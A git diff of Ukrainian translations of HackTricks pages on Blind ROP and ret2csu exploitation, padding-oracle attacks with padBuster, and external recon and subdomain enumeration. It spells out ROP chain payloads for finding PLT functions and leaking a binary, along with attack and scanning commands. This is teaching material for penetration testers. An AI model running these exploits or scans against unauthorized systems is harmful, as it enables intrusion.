@ -50,11 +50,11 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
Зверніть увагу, як з цими гаджетами можна **контролювати 2 аргументи** функції для виклику.
Також зверніть увагу, що гаджет ret2csu має **дуже унікальний підпис**, оскільки він буде витягувати 6 регістрів зі стеку. Тому відправляючи ланцюг, як:
Також зверніть увагу, що гаджет ret2csu має **дуже унікальний підпис**, оскільки він буде витягувати 6 регістрів зі стека. Тому відправляючи ланцюг, як:
`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
Якщо **STOP виконується**, це в основному означає, що **адреса, яка витягує 6 регістрів** зі стеку, була використана. Або що використана адреса також була адресою STOP.
Якщо **STOP виконується**, це в основному означає, що **адреса, яка витягує 6 регістрів** зі стека, була використана. Або що використана адреса також була адресою STOP.
Щоб **усунути цю останню опцію**, виконується новий ланцюг, як наступний, і він не повинен виконувати гаджет STOP, щоб підтвердити, що попередній дійсно витягнув 6 регістрів:
@ -64,7 +64,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
### 6. Знайти PLT
Таблицю PLT можна шукати з 0x400000 або з **витягнутої адреси RIP** зі стеку (якщо **PIE** використовується). **Записи** таблиці **відокремлені на 16B** (0x10B), і коли викликається одна функція, сервер не зривається, навіть якщо аргументи неправильні. Також перевірка адреси запису в **PLT + 6B також не призводить до збою**, оскільки це перший код, що виконується.
Таблицю PLT можна шукати з 0x400000 або з **витягнутої адреси RIP** зі стека (якщо **PIE** використовується). **Записи** таблиці **відокремлені на 16B** (0x10B), і коли викликається одна функція, сервер не зривається, навіть якщо аргументи неправильні. Також перевірка адреси запису в **PLT + 6B також не призводить до збою**, оскільки це перший код, що виконується.
Отже, можна знайти таблицю PLT, перевіряючи наступні поведінки:
@ -78,18 +78,18 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
Можна знайти місце розташування **`strcmp`** в PLT на основі його поведінки, використовуючи той факт, що ми тепер можемо контролювати 2 перші аргументи функцій:
* strcmp(\<не читати addr>, \<не читати addr>) -> збій
* strcmp(\<не читати addr>, \<читати addr>) -> збій
* strcmp(\<читати addr>, \<не читати addr>) -> збій
* strcmp(\<читати addr>, \<читати addr>) -> немає збою
* strcmp(\<non read addr>, \<non read addr>) -> збій
* strcmp(\<non read addr>, \<read addr>) -> збій
* strcmp(\<read addr>, \<non read addr>) -> збій
* strcmp(\<read addr>, \<read addr>) -> немає збою
Це можна перевірити, викликавши кожен запис таблиці PLT або використовуючи **PLT повільний шлях**, який в основному полягає в **виклику запису в таблиці PLT + 0xb** (який викликає **`dlresolve`**) з наступним у стеку **номер запису, який потрібно перевірити** (починаючи з нуля), щоб просканувати всі записи PLT з першого:
* strcmp(\<не читати addr>, \<читати addr>) -> збій
* strcmp(\<non read addr>, \<read addr>) -> збій
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Виникне збій
* strcmp(\<читати addr>, \<не читати addr>) -> збій
* strcmp(\<read addr>, \<non read addr>) -> збій
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
* strcmp(\<читати addr>, \<читати addr>) -> немає збою
* strcmp(\<read addr>, \<read addr>) -> немає збою
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
Пам'ятайте, що:
@ -106,7 +106,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
### 8. Знайти Write або еквівалент
Нарешті, потрібен гаджет, який ексфільтрує дані, щоб ексфільтрувати бінарний файл. І в цей момент можна **контролювати 2 аргументи та встановити `rdx` більше 0.**
Нарешті, потрібен гаджет, який ексфільтрує дані, щоб ексфільтрувати двійковий файл. І в цей момент можна **контролювати 2 аргументи та встановити `rdx` більше 0.**
Є 3 загальні функції, які можна зловживати для цього:
@ -116,15 +116,15 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
Однак оригінальна стаття згадує лише про **`write`**, тому давайте поговоримо про це:
Поточна проблема полягає в тому, що ми не знаємо, **де функція write знаходиться всередині PLT** і ми не знаємо **номер fd, щоб надіслати дані до нашого сокету**.
Поточна проблема полягає в тому, що ми не знаємо **де функція write знаходиться всередині PLT** і ми не знаємо **номер fd, щоб надіслати дані до нашого сокета**.
Однак ми знаємо, **де знаходиться таблиця PLT**, і можна знайти write на основі його **поведінки**. І ми можемо створити **кілька з'єднань** з сервером і використовувати **високий FD**, сподіваючись, що він відповідає деяким з наших з'єднань.
Однак ми знаємо **де знаходиться таблиця PLT** і можна знайти write на основі його **поведінки**. І ми можемо створити **кілька з'єднань** з сервером і використовувати **високий FD**, сподіваючись, що він відповідає деяким з наших з'єднань.
Поведінкові сигнатури для знаходження цих функцій:
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо дані надруковані, тоді знайдено puts
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо дані надруковані, тоді знайдено dprintf
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо дані надруковані, тоді знайдено write
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо є дані, що виводяться, тоді знайдено puts
* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо є дані, що виводяться, тоді знайдено dprintf
* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Якщо є дані, що виводяться, тоді знайдено write
## Автоматичне експлуатація

View file

@ -21,7 +21,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
**ret2csu** — це техніка хакерства, яка використовується, коли ви намагаєтеся взяти контроль над програмою, але не можете знайти **gadgets**, які зазвичай використовуєте для маніпуляції поведінкою програми.
Коли програма використовує певні бібліотеки (наприклад, libc), вона має вбудовані функції для управління тим, як різні частини програми спілкуються одна з одною. Серед цих функцій є деякі приховані скарби, які можуть діяти як наші відсутні gadgets, особливо одна з них під назвою `__libc_csu_init`.
Коли програма використовує певні бібліотеки (наприклад, libc), вона має вбудовані функції для управління тим, як різні частини програми спілкуються одна з одною. Серед цих функцій є кілька прихованих скарбів, які можуть діяти як наші відсутні gadgets, особливо одна з них під назвою `__libc_csu_init`.
### Чарівні Gadgets у \_\_libc\_csu\_init
@ -78,9 +78,9 @@ gef➤ search-pattern 0x400560
## RDI та RSI
Ще один спосіб контролювати **`rdi`** та **`rsi`** з гаджета ret2csu - це доступ до конкретних зсувів:
Ще один спосіб контролювати **`rdi`** та **`rsi`** з гаджета ret2csu - це доступ до специфічних зсувів:
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Перевірте цю сторінку для отримання додаткової інформації:
@ -92,7 +92,7 @@ gef➤ search-pattern 0x400560
### Використання виклику
Уявіть, що ви хочете зробити системний виклик або викликати функцію, таку як `write()`, але вам потрібні конкретні значення в регістрах `rdx` та `rsi` як параметри. Зазвичай ви шукали б гаджети, які безпосередньо встановлюють ці регістри, але не можете знайти жодного.
Уявіть, що ви хочете зробити системний виклик або викликати функцію, таку як `write()`, але вам потрібні специфічні значення в регістрах `rdx` та `rsi` як параметри. Зазвичай ви шукали б гаджети, які безпосередньо встановлюють ці регістри, але не можете знайти жодного.
Ось тут і вступає в гру **ret2csu**:
@ -181,7 +181,7 @@ target.interactive()
```
### Чому не просто використовувати libc безпосередньо?
Зазвичай ці випадки також вразливі до [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), але іноді вам потрібно контролювати більше параметрів, ніж можна легко контролювати за допомогою гаджетів, які ви знаходите безпосередньо в libc. Наприклад, функція `write()` вимагає три параметри, і **знайти гаджети для встановлення всіх цих безпосередньо може бути неможливо**.
Зазвичай ці випадки також вразливі до [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), але іноді вам потрібно контролювати більше параметрів, ніж можна легко контролювати за допомогою гаджетів, які ви знаходите безпосередньо в libc. Наприклад, функція `write()` вимагає трьох параметрів, і **знайти гаджети для встановлення всіх цих безпосередньо може бути неможливо**.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -1,8 +1,8 @@
# Padding Oracle
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,8 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## CBC - Cipher Block Chaining
@ -75,7 +73,7 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
```
### Теорія
У **резюме**, ви можете почати розшифровувати зашифровані дані, вгадуючи правильні значення, які можна використовувати для створення всіх **різних заповнень**. Потім атака на заповнення оракула почне розшифровувати байти з кінця на початок, вгадуючи, яке буде правильне значення, що **створює заповнення 1, 2, 3 тощо**.
У **резюме**, ви можете почати розшифровувати зашифровані дані, вгадуючи правильні значення, які можна використовувати для створення всіх **різних заповнень**. Потім атака на заповнення Oracle почне розшифровувати байти з кінця на початок, вгадуючи, яке буде правильне значення, що **створює заповнення 1, 2, 3 тощо**.
![](<../.gitbook/assets/image (561).png>)
@ -105,22 +103,20 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
### Виявлення вразливості
Зареєструйтеся та увійдіть з цим обліковим записом.\
Якщо ви **входите багато разів** і завжди отримуєте **один і той же cookie**, ймовірно, що в додатку є **щось** **неправильне**. **Cookie, що повертається, повинен бути унікальним** щоразу, коли ви входите. Якщо cookie **завжди** **однаковий**, він, ймовірно, завжди буде дійсним, і не буде способу його анулювати.
Якщо ви **входите багато разів** і завжди отримуєте **один і той же cookie**, ймовірно, в додатку є **щось** **неправильне**. **Cookie, що повертається, повинен бути унікальним** щоразу, коли ви входите. Якщо cookie **завжди** **один і той же**, він, ймовірно, завжди буде дійсним, і не буде способу його анулювати.
Тепер, якщо ви спробуєте **модифікувати** **cookie**, ви побачите, що отримуєте **помилку** від додатку.\
Тепер, якщо ви спробуєте **модифікувати** **cookie**, ви побачите, що отримуєте **помилку** від програми.\
Але якщо ви BF заповнення (використовуючи padbuster, наприклад), ви зможете отримати інший cookie, дійсний для іншого користувача. Цей сценарій, ймовірно, вразливий до padbuster.
### Посилання
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вчіться та практикуйте AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -128,7 +124,7 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -15,37 +15,37 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в усній та письмовій формі_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
{% embed url="https://www.stmcyber.com/careers" %}
## Assets discoveries
> Отже, вам сказали, що все, що належить якійсь компанії, знаходиться в межах обсягу, і ви хочете з'ясувати, що насправді належить цій компанії.
> Отже, вам сказали, що все, що належить якійсь компанії, знаходиться в межах сфери, і ви хочете з'ясувати, що насправді належить цій компанії.
Мета цього етапу - отримати всі **компанії, що належать основній компанії**, а потім всі **активи** цих компаній. Для цього ми будемо:
1. Знайти придбання основної компанії, це дасть нам компанії в межах обсягу.
1. Знайти придбання основної компанії, це дасть нам компанії в межах сфери.
2. Знайти ASN (якщо є) кожної компанії, це дасть нам діапазони IP, що належать кожній компанії.
3. Використати зворотні whois запити для пошуку інших записів (назви організацій, домени...) пов'язаних з першим (це можна зробити рекурсивно).
4. Використати інші техніки, такі як фільтри shodan `org` та `ssl`, для пошуку інших активів (трик `ssl` можна зробити рекурсивно).
4. Використати інші техніки, такі як shodan `org` та `ssl` фільтри для пошуку інших активів (трик `ssl` можна зробити рекурсивно).
### **Acquisitions**
Перш за все, нам потрібно знати, які **інші компанії належать основній компанії**.\
Один з варіантів - відвідати [https://www.crunchbase.com/](https://www.crunchbase.com), **пошукати** основну **компанію** і **натиснути** на "**придбання**". Там ви побачите інші компанії, придбані основною.\
Інший варіант - відвідати сторінку **Вікіпедії** основної компанії та знайти **придбання**.
По-перше, нам потрібно знати, які **інші компанії належать основній компанії**.\
Один з варіантів - відвідати [https://www.crunchbase.com/](https://www.crunchbase.com), **пошукати** основну компанію і **натиснути** на "**придбання**". Там ви побачите інші компанії, придбані основною.\
Інший варіант - відвідати сторінку **Вікіпедії** основної компанії і знайти **придбання**.
> Добре, на цьому етапі ви повинні знати всі компанії в межах обсягу. Давайте з'ясуємо, як знайти їх активи.
> Добре, на цьому етапі ви повинні знати всі компанії в межах сфери. Давайте з'ясуємо, як знайти їх активи.
### **ASNs**
Номер автономної системи (**ASN**) - це **унікальний номер**, присвоєний **автономній системі** (AS) **Управлінням Інтернету (IANA)**.\
**AS** складається з **блоків** **IP-адрес**, які мають чітко визначену політику доступу до зовнішніх мереж і адмініструються однією організацією, але можуть складатися з кількох операторів.
Цікаво дізнатися, чи **призначила компанія будь-який ASN**, щоб знайти її **діапазони IP**. Було б цікаво провести **тест на вразливість** проти всіх **хостів** в межах **обсягу** та **шукати домени** в цих IP.\
Цікаво дізнатися, чи **компанія має призначений ASN**, щоб знайти її **діапазони IP.** Було б цікаво провести **тест на вразливість** проти всіх **хостів** в межах **сфери** і **шукати домени** в цих IP.\
Ви можете **шукати** за назвою компанії, за **IP** або за **доменом** на [**https://bgp.he.net/**](https://bgp.he.net)**.**\
**Залежно від регіону компанії, ці посилання можуть бути корисними для збору додаткових даних:** [**AFRINIC**](https://www.afrinic.net) **(Африка),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Північна Америка),** [**APNIC**](https://www.apnic.net) **(Азія),** [**LACNIC**](https://www.lacnic.net) **(Латинська Америка),** [**RIPE NCC**](https://www.ripe.net) **(Європа). В будь-якому випадку, ймовірно, вся** корисна інформація **(діапазони IP та Whois)** вже з'являється за першим посиланням.
```bash
@ -101,7 +101,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
### **Зворотний Whois (loop)**
Всередині **whois** ви можете знайти багато цікавої **інформації**, такої як **назва організації**, **адреса**, **електронні листи**, номери телефонів... Але що ще цікавіше, так це те, що ви можете знайти **більше активів, пов'язаних з компанією**, якщо ви виконаєте **зворотні whois запити за будь-яким з цих полів** (наприклад, інші реєстрації whois, де з'являється та ж електронна адреса).\
Всередині **whois** ви можете знайти багато цікавої **інформації**, такої як **назва організації**, **адреса**, **електронні листи**, номери телефонів... Але що ще цікавіше, так це те, що ви можете знайти **більше активів, пов'язаних з компанією**, якщо ви виконаєте **зворотні whois запити за будь-яким з цих полів** (наприклад, інші реєстрації whois, де з'являється той же електронний лист).\
Ви можете використовувати онлайн-інструменти, такі як:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Безкоштовно**
@ -119,8 +119,8 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
### **Трекери**
Якщо ви знайдете **той самий ID того ж трекера** на 2 різних сторінках, ви можете припустити, що **обидві сторінки** управляються **однією командою**.\
Наприклад, якщо ви бачите той самий **ID Google Analytics** або той самий **ID Adsense** на кількох сторінках.
Якщо ви знайдете **той же ID того ж трекера** на 2 різних сторінках, ви можете припустити, що **обидві сторінки** управляються **однією командою**.\
Наприклад, якщо ви бачите той же **ID Google Analytics** або той же **ID Adsense** на кількох сторінках.
Є кілька сторінок і інструментів, які дозволяють вам шукати за цими трекерами та іншими:
@ -132,20 +132,20 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
### **Favicon**
Чи знали ви, що ми можемо знайти пов'язані домени та піддомени нашої цілі, шукаючи той самий хеш значка favicon? Це саме те, що робить інструмент [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py), створений [@m4ll0k2](https://twitter.com/m4ll0k2). Ось як його використовувати:
Чи знали ви, що ми можемо знайти пов'язані домени та піддомени нашої цілі, шукаючи той же хеш значка favicon? Це саме те, що робить інструмент [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py), створений [@m4ll0k2](https://twitter.com/m4ll0k2). Ось як його використовувати:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
```
![favihash - виявлення доменів з однаковим хешем значка фавікону](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
Простими словами, favihash дозволить нам виявити домени, які мають однаковий хеш значка фавікону, як у нашої цілі.
Простими словами, favihash дозволить нам виявити домени, які мають однаковий хеш значка фавікону з нашим об'єктом.
Більше того, ви також можете шукати технології, використовуючи хеш фавікону, як пояснено в [**цьому блозі**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Це означає, що якщо ви знаєте **хеш значка фавікону вразливої версії веб-технології**, ви можете шукати в shodan і **знайти більше вразливих місць**:
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
Це те, як ви можете **обчислити хеш фавікону** веб-сайту:
Це спосіб, як ви можете **обчислити хеш фавікону** веб-сайту:
```python
import mmh3
import requests
@ -201,7 +201,7 @@ You could access the **TLS certificate** of the main web page, obtain the **Orga
Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company.
If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
_Зверніть увагу, що іноді домен розміщений на IP, який не контролюється клієнтом, тому він не входить до сфери дії, будьте обережні._
_Зверніть увагу, що іноді домен розміщений на IP, який не контролюється клієнтом, тому це не в межах обсягу, будьте обережні._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
@ -226,7 +226,7 @@ dnsrecon -a -d tesla.com
```
### **OSINT**
Найшвидший спосіб отримати багато піддоменів - це пошук у зовнішніх джерелах. Найбільш використовувані **інструменти** такі:
Найшвидший спосіб отримати багато піддоменів - це пошук у зовнішніх джерелах. Найбільш використовувані **інструменти** такі (для кращих результатів налаштуйте API ключі):
* [**BBOT**](https://github.com/blacklanternsecurity/bbot)
```bash
@ -386,11 +386,11 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
Після того, як ви знайшли піддомени, використовуючи відкриті джерела та брутфорс, ви можете згенерувати варіації знайдених піддоменів, щоб спробувати знайти ще більше. Для цієї мети корисні кілька інструментів:
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Задано домени та піддомени, генерує перестановки.
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Задані домени та піддомени генерують перестановки.
```bash
cat subdomains.txt | dnsgen -
```
* [**goaltdns**](https://github.com/subfinder/goaltdns): Дано домени та піддомени, генеруйте перестановки.
* [**goaltdns**](https://github.com/subfinder/goaltdns): Задані домени та піддомени генерують перестановки.
* Ви можете отримати перестановки goaltdns **wordlist** [**тут**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
@ -434,7 +434,7 @@ echo www | subzuf facebook.com
### **VHosts / Віртуальні хости**
Якщо ви знайшли IP-адресу, що містить **одну або кілька веб-сторінок**, що належать піддоменам, ви можете спробувати **знайти інші піддомени з веб-сайтами на цій IP-адресі**, шукаючи в **OSINT джерелах** домени на IP або **брутфорсити доменні імена VHost на цій IP-адресі**.
Якщо ви знайшли IP-адресу, що містить **одну або кілька веб-сторінок**, що належать піддоменам, ви можете спробувати **знайти інші піддомени з веб-сайтами на цій IP**-адресі, шукаючи в **OSINT джерелах** домени на IP або **брутфорсити доменні імена VHost на цій IP**.
#### OSINT
@ -462,7 +462,7 @@ VHostScan -t example.com
### **CORS Brute Force**
Іноді ви знайдете сторінки, які повертають заголовок _**Access-Control-Allow-Origin**_ лише тоді, коли дійсний домен/піддомен встановлений у заголовку _**Origin**_. У цих сценаріях ви можете зловживати цією поведінкою, щоб **виявити** нові **піддомени**.
Іноді ви знайдете сторінки, які повертають заголовок _**Access-Control-Allow-Origin**_ лише тоді, коли в заголовку _**Origin**_ встановлено дійсний домен/піддомен. У цих сценаріях ви можете зловживати цією поведінкою, щоб **виявити** нові **піддомени**.
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
@ -473,11 +473,11 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
### **Моніторинг**
Ви можете **моніторити**, якщо **нові субдомени** домену створюються, моніторячи **журнали прозорості сертифікатів** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
Ви можете **моніторити**, якщо **нові субдомени** домену створюються, моніторячи **журнали прозорості сертифікатів**, що робить [**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
### **Пошук вразливостей**
Перевірте на можливі [**взяття субдоменів**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Перевірте на можливі [**взяття субдоменів під контроль**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Якщо **субдомен** вказує на якийсь **S3 бакет**, [**перевірте дозволи**](../../network-services-pentesting/pentesting-web/buckets/).
Якщо ви знайдете будь-який **субдомен з IP, відмінним** від тих, що ви вже знайшли під час виявлення активів, вам слід виконати **базове сканування вразливостей** (використовуючи Nessus або OpenVAS) і деяке [**сканування портів**](../pentesting-network/#discovering-hosts-from-the-outside) з **nmap/masscan/shodan**. Залежно від того, які сервіси працюють, ви можете знайти в **цьому посібнику деякі трюки для "атаки" на них**.\
@ -532,7 +532,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
Потім, з цими словами, ви повинні згенерувати **пермутації** (перевірте [**Другий раунд DNS Brute-Force**](./#second-dns-bruteforce-round) для отримання додаткової інформації).
Потім, з цими словами, ви повинні згенерувати **пермутації** (перегляньте [**Другий раунд DNS Brute-Force**](./#second-dns-bruteforce-round) для отримання додаткової інформації).
З отриманими словниками ви можете використовувати такі інструменти, як [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **або** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
@ -544,7 +544,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
## Електронні листи
З **доменами** та **піддоменами** в межах сфери у вас, по суті, є все, що вам **потрібно, щоб почати шукати електронні листи**. Це **API** та **інструменти**, які найкраще працювали для мене, щоб знайти електронні листи компанії:
З **доменами** та **піддоменами** в межах сфери у вас, по суті, є все, що вам **потрібно для початку пошуку електронних листів**. Ось **API** та **інструменти**, які найкраще працювали для мене для знаходження електронних листів компанії:
* [**theHarvester**](https://github.com/laramies/theHarvester) - з API
* API [**https://hunter.io/**](https://hunter.io/) (безкоштовна версія)
@ -573,13 +573,13 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### Витоки Github
Облікові дані та API можуть бути витікали в **публічних репозиторіях** **компанії** або **користувачів**, які працюють на цю компанію в GitHub.\
Ви можете використовувати **інструмент** [**Leakos**](https://github.com/carlospolop/Leakos), щоб **завантажити** всі **публічні репозиторії** **організації** та її **розробників** та автоматично запустити [**gitleaks**](https://github.com/zricethezav/gitleaks) на них.
Ви можете використовувати **інструмент** [**Leakos**](https://github.com/carlospolop/Leakos), щоб **завантажити** всі **публічні репозиторії** **організації** та її **розробників** і автоматично запустити [**gitleaks**](https://github.com/zricethezav/gitleaks) на них.
